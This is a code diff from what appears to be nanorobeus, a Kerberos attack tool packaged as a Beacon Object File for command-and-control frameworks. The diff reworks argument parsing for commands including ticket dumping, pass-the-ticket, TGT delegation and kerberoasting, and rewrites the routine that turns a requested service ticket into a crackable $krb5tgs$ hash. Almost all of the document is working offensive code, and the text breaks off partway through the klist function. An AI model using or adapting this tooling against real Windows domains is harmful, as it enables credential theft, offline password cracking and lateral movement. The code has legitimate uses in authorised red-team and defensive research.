typedef int(ASN1API *_ASN1BERDecPeekTag)(ASN1decoding_t dec, ASN1uint32_t *tag);
|
||||
typedef int(ASN1API *_ASN1BERDecOctetString)(ASN1decoding_t dec, ASN1uint32_t tag, ASN1octetstring_t *val);
|
||||
typedef int(ASN1API *_ASN1BERDecNotEndOfContents)(ASN1decoding_t dec, ASN1octet_t *di);
|
||||
typedef void *(ASN1API *_ASN1DecAlloc)(ASN1decoding_t dec, ASN1uint32_t size);
|
||||
typedef void *(ASN1API *_ASN1DecRealloc)(ASN1decoding_t dec, void *ptr, ASN1uint32_t size);
|
||||
typedef void(ASN1API *_ASN1Free)(void *ptr);
|
||||
typedef int(ASN1API *_ASN1BERDecGeneralizedTime)(ASN1decoding_t dec, ASN1uint32_t tag, ASN1generalizedtime_t *);
|
||||
typedef int(ASN1API *_ASN1BERDecSXVal)(ASN1decoding_t dec, ASN1uint32_t tag, ASN1intx_t *);
|
||||
typedef int(ASN1API *_ASN1BEREncExplicitTag)(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t *pLengthOffset);
|
||||
typedef int(ASN1API *_ASN1BEREncS32)(ASN1encoding_t enc, ASN1uint32_t tag, ASN1int32_t);
|
||||
typedef int(ASN1API *_ASN1BEREncEndOfContents)(ASN1encoding_t enc, ASN1uint32_t LengthOffset);
|
||||
typedef int(ASN1API *_ASN1DEREncCharString)(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t len, ASN1char_t *val);
|
||||
typedef int(ASN1API *_ASN1DEREncOctetString)(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t len, ASN1octet_t *val);
|
||||
|
||||
#define MSASN1$ASN1_CreateModule ((_ASN1_CreateModule)DynamicLoad("MSASN1", "ASN1_CreateModule"))
|
||||
#define MSASN1$ASN1_CloseModule ((_ASN1_CloseModule)DynamicLoad("MSASN1", "ASN1_CloseModule"))
|
||||
#define MSASN1$ASN1_CreateEncoder ((_ASN1_CreateEncoder)DynamicLoad("MSASN1", "ASN1_CreateEncoder"))
|
||||
#define MSASN1$ASN1_Encode ((_ASN1_Encode)DynamicLoad("MSASN1", "ASN1_Encode"))
|
||||
#define MSASN1$ASN1_CloseEncoder ((_ASN1_CloseEncoder)DynamicLoad("MSASN1", "ASN1_CloseEncoder"))
|
||||
#define MSASN1$ASN1_FreeEncoded ((_ASN1_FreeEncoded)DynamicLoad("MSASN1", "ASN1_FreeEncoded"))
|
||||
#define MSASN1$ASN1_CreateDecoder ((_ASN1_CreateDecoder)DynamicLoad("MSASN1", "ASN1_CreateDecoder"))
|
||||
#define MSASN1$ASN1_Decode ((_ASN1_Decode)DynamicLoad("MSASN1", "ASN1_Decode"))
|
||||
#define MSASN1$ASN1_CloseDecoder ((_ASN1_CloseDecoder)DynamicLoad("MSASN1", "ASN1_CloseDecoder"))
|
||||
#define MSASN1$ASN1_FreeDecoded ((_ASN1_FreeDecoded)DynamicLoad("MSASN1", "ASN1_FreeDecoded"))
|
||||
#define MSASN1$ASN1bitstring_free ((_ASN1bitstring_free)DynamicLoad("MSASN1", "ASN1bitstring_free"))
|
||||
#define MSASN1$ASN1ztcharstring_free ((_ASN1ztcharstring_free)DynamicLoad("MSASN1", "ASN1ztcharstring_free"))
|
||||
#define MSASN1$ASN1octetstring_free ((_ASN1octetstring_free)DynamicLoad("MSASN1", "ASN1octetstring_free"))
|
||||
#define MSASN1$ASN1intx_free ((_ASN1intx_free)DynamicLoad("MSASN1", "ASN1intx_free"))
|
||||
#define MSASN1$ASN1BERDecExplicitTag ((_ASN1BERDecExplicitTag)DynamicLoad("MSASN1", "ASN1BERDecExplicitTag"))
|
||||
#define MSASN1$ASN1BERDecS32Val ((_ASN1BERDecS32Val)DynamicLoad("MSASN1", "ASN1BERDecS32Val"))
|
||||
#define MSASN1$ASN1BERDecEndOfContents ((_ASN1BERDecEndOfContents)DynamicLoad("MSASN1", "ASN1BERDecEndOfContents"))
|
||||
#define MSASN1$ASN1BERDecBitString ((_ASN1BERDecBitString)DynamicLoad("MSASN1", "ASN1BERDecBitString"))
|
||||
#define MSASN1$ASN1BERDecZeroCharString ((_ASN1BERDecZeroCharString)DynamicLoad("MSASN1", "ASN1BERDecZeroCharString"))
|
||||
#define MSASN1$ASN1BERDecPeekTag ((_ASN1BERDecPeekTag)DynamicLoad("MSASN1", "ASN1BERDecPeekTag"))
|
||||
#define MSASN1$ASN1BERDecOctetString ((_ASN1BERDecOctetString)DynamicLoad("MSASN1", "ASN1BERDecOctetString"))
|
||||
#define MSASN1$ASN1BERDecNotEndOfContents ((_ASN1BERDecNotEndOfContents)DynamicLoad("MSASN1", "ASN1BERDecNotEndOfContents"))
|
||||
#define MSASN1$ASN1DecAlloc ((_ASN1DecAlloc)DynamicLoad("MSASN1", "ASN1DecAlloc"))
|
||||
#define MSASN1$ASN1DecRealloc ((_ASN1DecRealloc)DynamicLoad("MSASN1", "ASN1DecRealloc"))
|
||||
#define MSASN1$ASN1Free ((_ASN1Free)DynamicLoad("MSASN1", "ASN1Free"))
|
||||
#define MSASN1$ASN1BERDecGeneralizedTime ((_ASN1BERDecGeneralizedTime)DynamicLoad("MSASN1", "ASN1BERDecGeneralizedTime"))
|
||||
#define MSASN1$ASN1BERDecSXVal ((_ASN1BERDecSXVal)DynamicLoad("MSASN1", "ASN1BERDecSXVal"))
|
||||
#define MSASN1$ASN1BEREncExplicitTag ((_ASN1BEREncExplicitTag)DynamicLoad("MSASN1", "ASN1BEREncExplicitTag"))
|
||||
#define MSASN1$ASN1BEREncS32 ((_ASN1BEREncS32)DynamicLoad("MSASN1", "ASN1BEREncS32"))
|
||||
#define MSASN1$ASN1DEREncCharString ((_ASN1DEREncCharString)DynamicLoad("MSASN1", "ASN1DEREncCharString"))
|
||||
#define MSASN1$ASN1DEREncOctetString ((_ASN1DEREncOctetString)DynamicLoad("MSASN1", "ASN1DEREncOctetString"))
|
||||
#define MSASN1$ASN1BEREncEndOfContents ((_ASN1BEREncEndOfContents)DynamicLoad("MSASN1", "ASN1BEREncEndOfContents"))
|
||||
+194
-177
@@ -1,9 +1,11 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include "beacon.h"
|
||||
#include "bofdefs.h"
|
||||
|
||||
#if defined(BOF) || defined(BRC4)
|
||||
#ifdef CS_BOF
|
||||
#include "compat.c"
|
||||
#endif
|
||||
#include "common.c"
|
||||
#include "luid.c"
|
||||
#include "sessions.c"
|
||||
@@ -27,221 +29,236 @@
|
||||
#include "kerberoast.h"
|
||||
#endif
|
||||
|
||||
void execute(WCHAR** dispatch, char* command, char* arg1, char* arg2, char* arg3, char* arg4);
|
||||
void execute(WCHAR **dispatch, char *command, int argc, char *argv[]);
|
||||
|
||||
#ifdef BOF
|
||||
|
||||
void go(char* args, int length) {
|
||||
void go(char *args, int length)
|
||||
{
|
||||
datap parser;
|
||||
BeaconDataParse(&parser, args, length);
|
||||
char* command = BeaconDataExtract(&parser, NULL);
|
||||
if (command == NULL) {
|
||||
char *command = BeaconDataExtract(&parser, NULL);
|
||||
if (command == NULL)
|
||||
{
|
||||
command = "";
|
||||
}
|
||||
char* arg1 = BeaconDataExtract(&parser, NULL);
|
||||
if (arg1 == NULL) {
|
||||
arg1 = "";
|
||||
|
||||
char **argv = MSVCRT$calloc(5, sizeof(char *));
|
||||
int argc = 5;
|
||||
for (int i = 0; i < argc; i++)
|
||||
{
|
||||
char *arg = BeaconDataExtract(&parser, NULL);
|
||||
if (arg == NULL)
|
||||
{
|
||||
arg = "";
|
||||
}
|
||||
argv[i] = arg;
|
||||
}
|
||||
char* arg2 = BeaconDataExtract(&parser, NULL);
|
||||
if (arg2 == NULL) {
|
||||
arg2 = "";
|
||||
}
|
||||
char* arg3 = BeaconDataExtract(&parser, NULL);
|
||||
if (arg3 == NULL) {
|
||||
arg3 = "";
|
||||
}
|
||||
char* arg4 = BeaconDataExtract(&parser, NULL);
|
||||
if (arg4 == NULL) {
|
||||
arg4 = "";
|
||||
}
|
||||
execute(NULL, command, arg1, arg2, arg3, arg4);
|
||||
|
||||
execute(NULL, command, argc, argv);
|
||||
}
|
||||
|
||||
#elif BRC4
|
||||
|
||||
void coffee(char** argv, int argc, WCHAR** dispatch) {
|
||||
char *command = "", *arg1 = "", *arg2 = "", *arg3 = "", *arg4 = "";
|
||||
if (argc >= 1) {
|
||||
command = argv[0];
|
||||
void coffee(char **argv, int argc, WCHAR **dispatch)
|
||||
{
|
||||
if (argc >= 1)
|
||||
{
|
||||
char *command = "";
|
||||
if (argc >= 1)
|
||||
{
|
||||
command = argv[0];
|
||||
}
|
||||
execute(dispatch, command, argc - 1, argv + 1);
|
||||
}
|
||||
if (argc >= 2) {
|
||||
arg1 = argv[1];
|
||||
}
|
||||
if (argc >= 3) {
|
||||
arg2 = argv[2];
|
||||
}
|
||||
if (argc >= 4) {
|
||||
arg3 = argv[3];
|
||||
}
|
||||
if (argc >= 5) {
|
||||
arg4 = argv[4];
|
||||
}
|
||||
execute(dispatch, command, arg1, arg2, arg3, arg4);
|
||||
}
|
||||
|
||||
#else
|
||||
|
||||
int main(int argc, char* argv[]) {
|
||||
char *command = "", *arg1 = "", *arg2 = "", *arg3 = "", *arg4 = "";
|
||||
if (argc >= 2) {
|
||||
command = argv[1];
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
if (argc >= 2)
|
||||
{
|
||||
char *command = "";
|
||||
if (argc >= 2)
|
||||
{
|
||||
command = argv[1];
|
||||
}
|
||||
|
||||
execute(NULL, command, argc - 2, argv + 2);
|
||||
}
|
||||
if (argc >= 3) {
|
||||
arg1 = argv[2];
|
||||
}
|
||||
if (argc >= 4) {
|
||||
arg2 = argv[3];
|
||||
}
|
||||
if (argc >= 5) {
|
||||
arg3 = argv[4];
|
||||
}
|
||||
if (argc >= 6) {
|
||||
arg4 = argv[5];
|
||||
}
|
||||
execute(NULL, command, arg1, arg2, arg3, arg4);
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
void execute(WCHAR** dispatch, char* command, char* arg1, char* arg2, char* arg3, char* arg4) {
|
||||
if (_strcmp(command, "") == 0) {
|
||||
PRINT(dispatch, "[!] Specify command.\n");
|
||||
return;
|
||||
void execute(WCHAR **dispatch, char *command, int argc, char *argv[])
|
||||
{
|
||||
LUID *luid = NULL;
|
||||
BOOL currentLuid = FALSE;
|
||||
char *spn = NULL;
|
||||
char *ticket = NULL;
|
||||
|
||||
for (int i = 0; i < argc; i++)
|
||||
{
|
||||
char *arg = MSVCRT$calloc(_strlen(argv[i]) + 1, sizeof(char));
|
||||
if (arg == NULL)
|
||||
{
|
||||
PRINT(dispatch, "[!] Couldn't allocate memory.\n");
|
||||
return;
|
||||
}
|
||||
_strcpy(arg, argv[i]);
|
||||
|
||||
char *argValue = _strstr(arg, ":");
|
||||
if (argValue != NULL)
|
||||
{
|
||||
*argValue = '\0';
|
||||
argValue++;
|
||||
}
|
||||
|
||||
if (_strcmp(arg, "/luid") == 0 && argValue != NULL && luid == NULL)
|
||||
{
|
||||
luid = MSVCRT$calloc(1, sizeof(LUID));
|
||||
luid->HighPart = 0;
|
||||
luid->LowPart = MSVCRT$strtol(argValue, NULL, 16);
|
||||
if (luid->LowPart <= 0)
|
||||
{
|
||||
MSVCRT$free(arg);
|
||||
PRINT(dispatch, "[!] Invalid LUID value.");
|
||||
return;
|
||||
}
|
||||
}
|
||||
else if (_strcmp(arg, "/all") == 0 && luid == NULL)
|
||||
{
|
||||
luid = MSVCRT$calloc(1, sizeof(LUID));
|
||||
luid->HighPart = 0;
|
||||
luid->LowPart = 0;
|
||||
currentLuid = FALSE;
|
||||
}
|
||||
else if (_strcmp(arg, "/spn") == 0 && argValue != NULL)
|
||||
{
|
||||
spn = MSVCRT$calloc(_strlen(argValue) + 1, sizeof(char));
|
||||
_strcpy(spn, argValue);
|
||||
}
|
||||
else if (_strcmp(arg, "/ticket") == 0 && argValue != NULL)
|
||||
{
|
||||
ticket = MSVCRT$calloc(_strlen(argValue) + 1, sizeof(char));
|
||||
_strcpy(ticket, argValue);
|
||||
}
|
||||
|
||||
MSVCRT$free(arg);
|
||||
}
|
||||
|
||||
LUID luid = (LUID){.HighPart = 0, .LowPart = 0};
|
||||
BOOL currentLuid = FALSE;
|
||||
|
||||
if (_strcmp(command, "luid") == 0) {
|
||||
if (_strcmp(command, "luid") == 0)
|
||||
{
|
||||
execute_luid(dispatch);
|
||||
} else if ((_strcmp(command, "sessions") == 0) || (_strcmp(command, "klist") == 0) ||
|
||||
(_strcmp(command, "dump") == 0)) {
|
||||
if (_strcmp(arg1, "") != 0) {
|
||||
if (_strcmp(arg1, "/luid") == 0) {
|
||||
if (_strcmp(arg2, "") != 0) {
|
||||
luid.LowPart = MSVCRT$strtol(arg2, NULL, 16);
|
||||
if (luid.LowPart == 0 || luid.LowPart == LONG_MAX || luid.LowPart == LONG_MIN) {
|
||||
PRINT(dispatch, "[!] Specify valid /luid\n");
|
||||
return;
|
||||
}
|
||||
} else {
|
||||
PRINT(dispatch, "[!] Specify /luid argument\n");
|
||||
return;
|
||||
}
|
||||
} else if (_strcmp(arg1, "/all") == 0) {
|
||||
luid = (LUID){.HighPart = 0, .LowPart = 0};
|
||||
} else {
|
||||
PRINT(dispatch, "[!] Unknown command\n");
|
||||
return;
|
||||
}
|
||||
} else {
|
||||
LUID* cLuid = GetCurrentLUID();
|
||||
if (cLuid == NULL) {
|
||||
}
|
||||
else if (
|
||||
_strcmp(command, "sessions") == 0 ||
|
||||
_strcmp(command, "klist") == 0 ||
|
||||
_strcmp(command, "dump") == 0 ||
|
||||
_strcmp(command, "purge") == 0)
|
||||
{
|
||||
if (luid == NULL)
|
||||
{
|
||||
luid = GetCurrentLUID();
|
||||
if (luid == NULL)
|
||||
{
|
||||
PRINT(dispatch, "[!] Unable to get current session LUID: %ld\n", KERNEL32$GetLastError());
|
||||
return;
|
||||
goto out;
|
||||
}
|
||||
luid.HighPart = cLuid->HighPart;
|
||||
luid.LowPart = cLuid->LowPart;
|
||||
currentLuid = TRUE;
|
||||
MSVCRT$free(cLuid);
|
||||
}
|
||||
|
||||
if (_strcmp(command, "sessions") == 0) {
|
||||
execute_sessions(dispatch, luid, currentLuid);
|
||||
} else if (_strcmp(command, "klist") == 0) {
|
||||
execute_klist(dispatch, luid, currentLuid, FALSE);
|
||||
} else {
|
||||
execute_klist(dispatch, luid, currentLuid, TRUE);
|
||||
if (_strcmp(command, "sessions") == 0)
|
||||
{
|
||||
execute_sessions(dispatch, *luid, currentLuid);
|
||||
}
|
||||
} else if (_strcmp(command, "ptt") == 0) {
|
||||
char* ticket;
|
||||
if (_strcmp(arg1, "") != 0) {
|
||||
ticket = arg1;
|
||||
if (_strcmp(arg2, "") != 0) {
|
||||
if (_strcmp(arg2, "/luid") == 0) {
|
||||
if (_strcmp(arg3, "") != 0) {
|
||||
luid.LowPart = MSVCRT$strtol(arg3, NULL, 16);
|
||||
if (luid.LowPart == 0 || luid.LowPart == LONG_MAX || luid.LowPart == LONG_MIN) {
|
||||
PRINT(dispatch, "[!] Specify valid /luid\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
LUID* cLuid = GetCurrentLUID();
|
||||
if (cLuid == NULL) {
|
||||
PRINT(dispatch, "[!] Unable to get current session LUID: %ld\n", KERNEL32$GetLastError());
|
||||
return;
|
||||
}
|
||||
luid.HighPart = cLuid->HighPart;
|
||||
luid.LowPart = cLuid->LowPart;
|
||||
currentLuid = TRUE;
|
||||
MSVCRT$free(cLuid);
|
||||
}
|
||||
execute_ptt(dispatch, ticket, luid, currentLuid);
|
||||
} else {
|
||||
PRINT(dispatch, "[!] Specify Base64 encoded ticket\n");
|
||||
return;
|
||||
else if (_strcmp(command, "klist") == 0)
|
||||
{
|
||||
execute_klist(dispatch, *luid, currentLuid, FALSE);
|
||||
}
|
||||
} else if (_strcmp(command, "purge") == 0) {
|
||||
if (_strcmp(arg1, "") != 0) {
|
||||
if (_strcmp(arg1, "/luid") == 0) {
|
||||
if (_strcmp(arg2, "") != 0) {
|
||||
luid.LowPart = MSVCRT$strtol(arg2, NULL, 16);
|
||||
if (luid.LowPart == 0 || luid.LowPart == LONG_MAX || luid.LowPart == LONG_MIN) {
|
||||
PRINT(dispatch, "[!] Specify valid /luid\n");
|
||||
return;
|
||||
}
|
||||
} else {
|
||||
PRINT(dispatch, "[!] Specify /luid argument\n");
|
||||
return;
|
||||
}
|
||||
} else {
|
||||
PRINT(dispatch, "[!] Unknown command\n");
|
||||
return;
|
||||
}
|
||||
} else {
|
||||
LUID* cLuid = GetCurrentLUID();
|
||||
if (cLuid == NULL) {
|
||||
else if (_strcmp(command, "dump") == 0)
|
||||
{
|
||||
execute_klist(dispatch, *luid, currentLuid, TRUE);
|
||||
}
|
||||
else
|
||||
{
|
||||
execute_purge(dispatch, *luid, currentLuid);
|
||||
}
|
||||
}
|
||||
else if (_strcmp(command, "ptt") == 0)
|
||||
{
|
||||
if (ticket == NULL)
|
||||
{
|
||||
PRINT(dispatch, "[!] Provide /ticket:<base64>.\n");
|
||||
goto out;
|
||||
}
|
||||
|
||||
if (luid == NULL)
|
||||
{
|
||||
luid = GetCurrentLUID();
|
||||
if (luid == NULL)
|
||||
{
|
||||
PRINT(dispatch, "[!] Unable to get current session LUID: %ld\n", KERNEL32$GetLastError());
|
||||
return;
|
||||
goto out;
|
||||
}
|
||||
luid.HighPart = cLuid->HighPart;
|
||||
luid.LowPart = cLuid->LowPart;
|
||||
currentLuid = TRUE;
|
||||
MSVCRT$free(cLuid);
|
||||
}
|
||||
execute_purge(dispatch, luid, currentLuid);
|
||||
} else if (_strcmp(command, "tgtdeleg") == 0) {
|
||||
char* spn = NULL;
|
||||
if (_strcmp(arg1, "") != 0) {
|
||||
spn = arg1;
|
||||
} else {
|
||||
PRINT(dispatch, "[!] Specify SPN\n");
|
||||
return;
|
||||
execute_ptt(dispatch, ticket, *luid, currentLuid);
|
||||
}
|
||||
else if (
|
||||
_strcmp(command, "tgtdeleg") == 0 ||
|
||||
_strcmp(command, "kerberoast") == 0)
|
||||
{
|
||||
if (spn == NULL)
|
||||
{
|
||||
PRINT(dispatch, "[!] Specify /spn:<spn>.");
|
||||
goto out;
|
||||
}
|
||||
execute_tgtdeleg(dispatch, spn);
|
||||
} else if (_strcmp(command, "kerberoast") == 0) {
|
||||
char* spn = NULL;
|
||||
if (_strcmp(arg1, "") != 0) {
|
||||
spn = arg1;
|
||||
} else {
|
||||
PRINT(dispatch, "[!] Specify SPN\n");
|
||||
return;
|
||||
|
||||
if (_strcmp(command, "tgtdeleg") == 0)
|
||||
{
|
||||
execute_tgtdeleg(dispatch, spn);
|
||||
}
|
||||
execute_kerberoast(dispatch, spn);
|
||||
} else if (_strcmp(command, "help") == 0) {
|
||||
PRINT(dispatch, "[*] nanorobeus 0.0.4\n[*] Command list:\n");
|
||||
PRINT(dispatch, "\tluid\n");
|
||||
PRINT(dispatch, "\tsessions [/luid <0x0> | /all]\n");
|
||||
PRINT(dispatch, "\tklist [/luid <0x0> | /all]\n");
|
||||
PRINT(dispatch, "\tdump [/luid <0x0> | /all]\n");
|
||||
PRINT(dispatch, "\tptt <BASE64> [/luid <0x0>]\n");
|
||||
PRINT(dispatch, "\tpurge [/luid <0x0>]\n");
|
||||
PRINT(dispatch, "\ttgtdeleg <SPN>\n");
|
||||
PRINT(dispatch, "\tkerberoast <SPN>\n");
|
||||
} else {
|
||||
else
|
||||
{
|
||||
execute_kerberoast(dispatch, spn);
|
||||
}
|
||||
}
|
||||
else if (_strcmp(command, "help") == 0)
|
||||
{
|
||||
char *help =
|
||||
"[*] nanorobeus 0.0.4\n"
|
||||
"[*] Command list:\n"
|
||||
"\tluid\n"
|
||||
"\tsessions [/luid:<0x0> | /all]\n"
|
||||
"\tklist [/luid:<0x0> | /all]\n"
|
||||
"\tdump [/luid:<0x0> | /all]\n"
|
||||
"\tptt /ticket:<BASE64> [/luid:<0x0>]\n"
|
||||
"\tpurge [/luid:<0x0>]\n"
|
||||
"\ttgtdeleg /spn:<SPN>\n"
|
||||
"\tkerberoast /spn:<SPN>\n";
|
||||
PRINT(dispatch, help);
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "[!] Unknown command.\n");
|
||||
}
|
||||
|
||||
out:
|
||||
if (luid != NULL)
|
||||
{
|
||||
MSVCRT$free(luid);
|
||||
}
|
||||
|
||||
if (spn != NULL)
|
||||
{
|
||||
MSVCRT$free(spn);
|
||||
}
|
||||
|
||||
if (ticket != NULL)
|
||||
{
|
||||
MSVCRT$free(ticket);
|
||||
}
|
||||
}
|
||||
|
||||
+92
-31
@@ -1,66 +1,127 @@
|
||||
#include "kerberoast.h"
|
||||
#include "tgtdeleg.h"
|
||||
|
||||
void execute_kerberoast(WCHAR** dispatch, char* spn) {
|
||||
void execute_kerberoast(WCHAR **dispatch, char *spn)
|
||||
{
|
||||
PUCHAR apreq;
|
||||
ULONG apreqSize;
|
||||
PRINT(dispatch, "[*] Target SPN: %s\n", spn);
|
||||
LONG status = RequestApReq(spn, &apreq, &apreqSize, FALSE);
|
||||
if (status == 0) {
|
||||
if (status == 0)
|
||||
{
|
||||
PBYTE tokID = SearchOID(apreq, apreqSize);
|
||||
if (*(PUSHORT)tokID == 0x0001) {
|
||||
if (*(PUSHORT)tokID == 0x0001)
|
||||
{
|
||||
PKERB_AP_REQUEST apRequest;
|
||||
KERBERR kerbError;
|
||||
apreqSize -= (LONG)(tokID - (PBYTE)apreq);
|
||||
ASN1module_t module = KRB5_Module_Startup();
|
||||
if (module != NULL) {
|
||||
if (module != NULL)
|
||||
{
|
||||
kerbError = KerbUnpackData(module, tokID + sizeof(SHORT), apreqSize, KERB_AP_REQUEST_PDU, &apRequest);
|
||||
if (KERB_SUCCESS(kerbError)) {
|
||||
if (KERB_SUCCESS(kerbError))
|
||||
{
|
||||
int encType = apRequest->ticket.encrypted_part.encryption_type;
|
||||
int cipherTextSize = apRequest->ticket.encrypted_part.cipher_text.length;
|
||||
UCHAR* cipherText = apRequest->ticket.encrypted_part.cipher_text.value;
|
||||
UCHAR *cipherText = apRequest->ticket.encrypted_part.cipher_text.value;
|
||||
KERB_PRINCIPAL_NAME_name_string_Seq service = apRequest->ticket.server_name.name_string->value;
|
||||
KERB_PRINCIPAL_NAME_name_string_Seq host = apRequest->ticket.server_name.name_string->next->value;
|
||||
KERB_REALM domain = apRequest->ticket.realm;
|
||||
|
||||
if (encType == 17 || encType == 18) {
|
||||
PRINT(dispatch, "[*] Note: Specify valid username instead of 'USER'\n");
|
||||
PRINT(dispatch, "[+] Hash: ");
|
||||
PRINT(dispatch, "$krb5tgs$%d$USER$%s$*%s/%s*$", encType, domain, service, host);
|
||||
for (int i = cipherTextSize - 12; i < cipherTextSize; i++) {
|
||||
PRINT(dispatch, "%.2x", cipherText[i]);
|
||||
if (encType == 17 || encType == 18)
|
||||
{
|
||||
char *fmt = "[*] Note: Specify valid username instead of 'USER'\n"
|
||||
"[+] Hash: "
|
||||
"$krb5tgs$%d$USER$%s$*%s/%s*$%s\n";
|
||||
int size = _strlen(fmt) + cipherTextSize * 2 + 3;
|
||||
char *hashString = MSVCRT$malloc(size * sizeof(char));
|
||||
if (hashString == NULL)
|
||||
{
|
||||
PRINT(dispatch, "[!] Unable to allocate memory.\n");
|
||||
}
|
||||
PRINT(dispatch, "$");
|
||||
for (int i = 0; i < cipherTextSize - 12; i++) {
|
||||
PRINT(dispatch, "%.2x", cipherText[i]);
|
||||
}
|
||||
PRINT(dispatch, "\n");
|
||||
} else if (encType == 23) {
|
||||
PRINT(dispatch, "[+] Hash: ");
|
||||
PRINT(dispatch, "$krb5tgs$%d$*$%s$%s/%s*$", encType, domain, service, host);
|
||||
for (int i = 0; i < cipherTextSize; i++) {
|
||||
if (i == 16) {
|
||||
PRINT(dispatch, "$");
|
||||
else
|
||||
{
|
||||
int pos = 0;
|
||||
for (int i = cipherTextSize - 12; i < cipherTextSize; i++)
|
||||
{
|
||||
MSVCRT$_snprintf(hashString + pos, 2, "%.2x", cipherText[i]);
|
||||
pos += 2;
|
||||
}
|
||||
PRINT(dispatch, "%.2x", cipherText[i]);
|
||||
|
||||
MSVCRT$_snprintf(hashString + pos, 1, "%s", "$");
|
||||
pos++;
|
||||
|
||||
for (int i = 0; i < cipherTextSize - 12; i++)
|
||||
{
|
||||
MSVCRT$_snprintf(hashString + pos, 2, "%.2x", cipherText[i]);
|
||||
pos += 2;
|
||||
}
|
||||
PRINT(dispatch, fmt, encType, domain, service, host, hashString);
|
||||
MSVCRT$free(hashString);
|
||||
}
|
||||
}
|
||||
else if (encType == 23)
|
||||
{
|
||||
char *fmt = "[+] Hash: "
|
||||
"$krb5tgs$%d$*$%s$%s/%s*$%s\n";
|
||||
int size = _strlen(fmt) + cipherTextSize * 2 + 1;
|
||||
char *hashString = MSVCRT$malloc(size * sizeof(char));
|
||||
if (hashString == NULL)
|
||||
{
|
||||
PRINT(dispatch, "[!] Unable to allocate memory.\n");
|
||||
}
|
||||
else
|
||||
{
|
||||
int pos = 0;
|
||||
for (int i = 0; i < cipherTextSize; i++)
|
||||
{
|
||||
if (i == 16)
|
||||
{
|
||||
MSVCRT$_snprintf(hashString + pos, 1, "%s", "$");
|
||||
pos++;
|
||||
}
|
||||
MSVCRT$_snprintf(hashString + pos, 2, "%.2x", cipherText[i]);
|
||||
pos += 2;
|
||||
}
|
||||
PRINT(dispatch, fmt, encType, domain, service, host, hashString);
|
||||
MSVCRT$free(hashString);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
char *encTypeString = NULL;
|
||||
GetEncryptionTypeString(encType, &encTypeString);
|
||||
if (encTypeString != NULL)
|
||||
{
|
||||
PRINT(dispatch, "[!] Unsupported encryption type: %s\n", encTypeString);
|
||||
MSVCRT$free(encTypeString);
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "[!] Unable to get encryption type.\n");
|
||||
}
|
||||
PRINT(dispatch, "\n");
|
||||
} else {
|
||||
PRINT(dispatch, "[!] Unsupported encryption type: %s\n", GetEncryptionTypeString(encType));
|
||||
}
|
||||
KerbFreeData(module, KERB_AP_REQUEST_PDU, apRequest);
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "[!] Failed to unpack AP-REQ: 0x%x\n", kerbError);
|
||||
}
|
||||
KRB5_Module_Cleanup(module);
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "[!] Could not create ASN.1 module\n");
|
||||
}
|
||||
MSVCRT$free(apreq);
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "[!] Kerberos OID not found\n");
|
||||
}
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "[!] Failed to request AP-REQ: 0x%x\n", status);
|
||||
}
|
||||
}
|
||||
+212
-83
@@ -1,92 +1,136 @@
|
||||
#include "klist.h"
|
||||
|
||||
void execute_klist(WCHAR** dispatch, LUID luid, BOOL currentLuid, BOOL dump) {
|
||||
void execute_klist(WCHAR **dispatch, LUID luid, BOOL currentLuid, BOOL dump)
|
||||
{
|
||||
BOOL highIntegrity = IsHighIntegrity();
|
||||
if (!highIntegrity && !currentLuid) {
|
||||
if (!highIntegrity && !currentLuid)
|
||||
{
|
||||
PRINT(dispatch, "[!] Not in high integrity.\n");
|
||||
return;
|
||||
}
|
||||
HANDLE hLsa;
|
||||
NTSTATUS status = GetLsaHandle(highIntegrity, &hLsa);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
PRINT(dispatch, "[!] GetLsaHandle %ld\n", status);
|
||||
return;
|
||||
}
|
||||
ULONG authPackage;
|
||||
LSA_STRING krbAuth = {.Buffer = "kerberos", .Length = 8, .MaximumLength = 9};
|
||||
status = SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
PRINT(dispatch, "[!] LsaLookupAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status));
|
||||
SECUR32$LsaDeregisterLogonProcess(hLsa);
|
||||
return;
|
||||
}
|
||||
LOGON_SESSION_DATA sessionData;
|
||||
status = GetLogonSessionData(luid, &sessionData);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
PRINT(dispatch, "[!] GetLogonSessionData: %ld", status);
|
||||
SECUR32$LsaDeregisterLogonProcess(hLsa);
|
||||
return;
|
||||
}
|
||||
KERB_QUERY_TKT_CACHE_REQUEST cacheRequest;
|
||||
cacheRequest.MessageType = KerbQueryTicketCacheExMessage;
|
||||
for (int i = 0; i < sessionData.sessionCount; i++) {
|
||||
if (sessionData.sessionData[i] == NULL) {
|
||||
for (int i = 0; i < sessionData.sessionCount; i++)
|
||||
{
|
||||
if (sessionData.sessionData[i] == NULL)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
PrintLogonSessionData(dispatch, (*sessionData.sessionData[i]));
|
||||
PRINT(dispatch, "\n");
|
||||
if (highIntegrity) {
|
||||
if (highIntegrity)
|
||||
{
|
||||
cacheRequest.LogonId = sessionData.sessionData[i]->LogonId;
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
cacheRequest.LogonId = (LUID){.HighPart = 0, .LowPart = 0};
|
||||
}
|
||||
|
||||
char *sessionString = NULL;
|
||||
PrintLogonSessionData(*sessionData.sessionData[i], &sessionString);
|
||||
